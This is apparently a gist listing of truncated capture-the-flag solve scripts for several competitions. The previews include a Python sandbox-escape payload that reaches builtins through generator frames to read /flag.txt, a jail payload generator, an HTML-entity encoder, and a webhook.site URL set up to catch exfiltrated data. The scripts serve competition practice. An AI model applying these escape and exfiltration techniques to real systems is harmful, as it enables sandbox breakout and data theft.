This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from flask import Flask | |
| from base64 import b64encode | |
| CHALL_URL = "http://45.147.229.138:8000/?e=" | |
| CHALL_URL = "http://web/?e=" | |
| app = Flask(__name__) | |
| @app.route("/") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from urllib.parse import urlencode | |
| HOST = "http://eeeeejs.seccon.games:3000/" | |
| HOST = "http://localhost:3000/" | |
| HOST = "http://web:3000/" | |
| def html_encode(s): | |
| return "".join(["&#x" + hex(ord(c))[2:] + ";" for c in s]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import pyamf | |
| from my_wsgi import WSGIGateway | |
| NAMESPACE = "pyamf.remoting.amf3" | |
| class RequestProcessor: | |
| class __amf__: | |
| static = ("gateway",) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| def conn() -> tube: | |
| if args.LOCAL: | |
| return process(["python", "chall.py"]) | |
| return remote("chall-us.pwnable.hk", 30038) | |
| def main() -> None: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| HOST = "pyjail.sstf.site" | |
| PORT = "9999" | |
| def conn() -> tube: | |
| if args.LOCAL: | |
| return process(["python", "jail.py"]) | |
| return remote(HOST, PORT) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| import pickletools | |
| def conn() -> tube: | |
| if args.LOCAL: | |
| return process(["python", "server.py"]) | |
| return remote("you-shall-not-call-revenge.chal.imaginaryctf.org", 1337) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| import pickletools | |
| def conn() -> tube: | |
| if args.LOCAL: | |
| return process(["python", "server.py"]) | |
| return remote("you-shall-not-call.chal.imaginaryctf.org", 1337) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| with remote("rattler-read.chal.uiuc.tf", 1337) as io: | |
| payload = ( | |
| """ | |
| g=(print(g.gi_frame.f_back.f_back.f_builtins['open']('/flag.txt').read())for x in(0,)) | |
| for x in g:0 | |
| """.strip() | |
| .replace("\n", "\r") | |
| .encode() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| WEBHOOK_URL = "https://webhook.site/64021412-a0e0-4f76-bde4-3bb705c13da4/" | |
| def conn() -> tube: | |
| if args.LOCAL: | |
| return remote("localhost", 1337) | |
| return remote("win.the.seetf.sg", 5000) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def gen_payload(name_idx: int) -> str: | |
| payload = '(0 if 1 else f"' | |
| for i in range(name_idx): | |
| payload += "{a_%s}" % i | |
| payload += '")' | |
| payload = "(0 if %s else %s)" % (payload, f"a_{name_idx}") | |
| return payload | |
| payload = f""" | |
| lambda getattr: [getattr(getattr, f"{{x}}") for x in {gen_payload(int(input()))}] |